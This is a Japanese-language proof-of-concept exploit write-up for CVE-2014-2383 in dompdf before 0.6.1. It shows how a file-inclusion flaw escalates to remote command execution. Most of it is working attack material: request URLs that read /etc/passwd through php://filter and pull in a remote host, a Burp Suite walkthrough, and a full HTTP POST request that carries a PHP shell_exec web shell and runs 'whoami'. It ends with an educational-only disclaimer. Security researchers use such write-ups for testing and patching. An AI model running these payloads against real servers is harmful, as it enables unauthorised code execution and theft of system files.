
CVE-2014-2383の概念実証エクスプロイト。dompdf <0.6.1でのLFI/RFIからRCEへの昇格を実証し、ステップバイステップの再現ガイドと自動化スクリプトを提供します。
テスト環境: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25
セキュリティ評価中に、CVE-2014-2383 の存在が発見されました。この文書は概念実証であり、顧客のプライバシーを保護するために、最初の発見時の詳細は含まれていません。ただし、この文書の内容は、この脆弱性が悪用された環境を模倣しています。
発見 https://github.com/projectdiscovery/nuclei

CVE-2014-2383 の詳細
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
ターゲットから /etc/passwd ファイルをインクルードするために使用されている php://filter/resource PHP ラッパーを確認します。
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

この PHP ラッパーは、ローカルファイルのインクルードだけでなく、リモートファイルも許可していました。
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com

ここまでは、既知の情報と概念実証を使用してこれらの脆弱性を悪用してきました。この脆弱性のさらなる悪用を試みるにあたり、PDF 作成前に何らかの「前処理」を行うために、他のプロトコルと PHP フィルターを使用しました。
この LFI/RFI 脆弱性における重要な特徴は、LFI で参照されたファイルが PDF 文書としてレンダリングされることでした。つまり、LFI を通じて PHP ファイルをレンダリングしようとしても、そのファイルは PDF に変換されるだけで、ファイル内の PHP は実行されないということです。ペイロードを詳しく見ると、php://filter/resource= が DOMPDF によって設定された制限をバイパスする部分であることがわかります。
別の PHP フィルターを使用することで、LFI を実行する前にサーバーに POST リクエストを前処理させることができます。php://input 入力ストリームを使用して、POST リクエストから生データを読み取ることができます。さらに、実行したいコマンドをパラメーターとして追加し、POST データ内で定義できます。したがって、新しいパラメーターは php://input&cmd=id のようになり、POST データは <?php echo shell_exec($_GET[‘cmd’]);?> のようになります。結果は以下のとおりです。
DOMPDF < 0.6.1 のバージョンを見つけたら、LFI にアクセスします。
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd
このリクエストを BurpSuite などのプロキシでキャプチャします。

リクエストを Repeater(ctrl+r) に送信します。

Repeater にリクエストを表示したら、リクエストを右クリックして「Change Request Method」を選択します。

input_file パラメーターを変更します:
From:
php://filter/resource=/etc/passwd
To:
php://input&cmd=whoami

これを POST リクエストのボディに追加します: (シングルクォートを再入力する必要がある場合があります)
<?php echo shell_exec($_GET['cmd']);?>

リクエスト全体はおおよそ次のようになります:
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
<?php echo shell_exec($_GET['cmd']);?>
BurpSuite を使用している場合は、リクエストを送信し、検索バーで「BT」を検索します。
コマンドが実行され、応答が生成中の PDF のバイトレベルのデータに書き込まれていることを確認します。(この場合、ユーザーは「daemon」です)

私は、このほとんどを自動化できる Python スクリプトを作成しました。

免責事項: これは教育目的のみです。他人のウェブサーバーには触れないでください。 😄
RCE の限定公開動画へのリンクはこちらです。 動画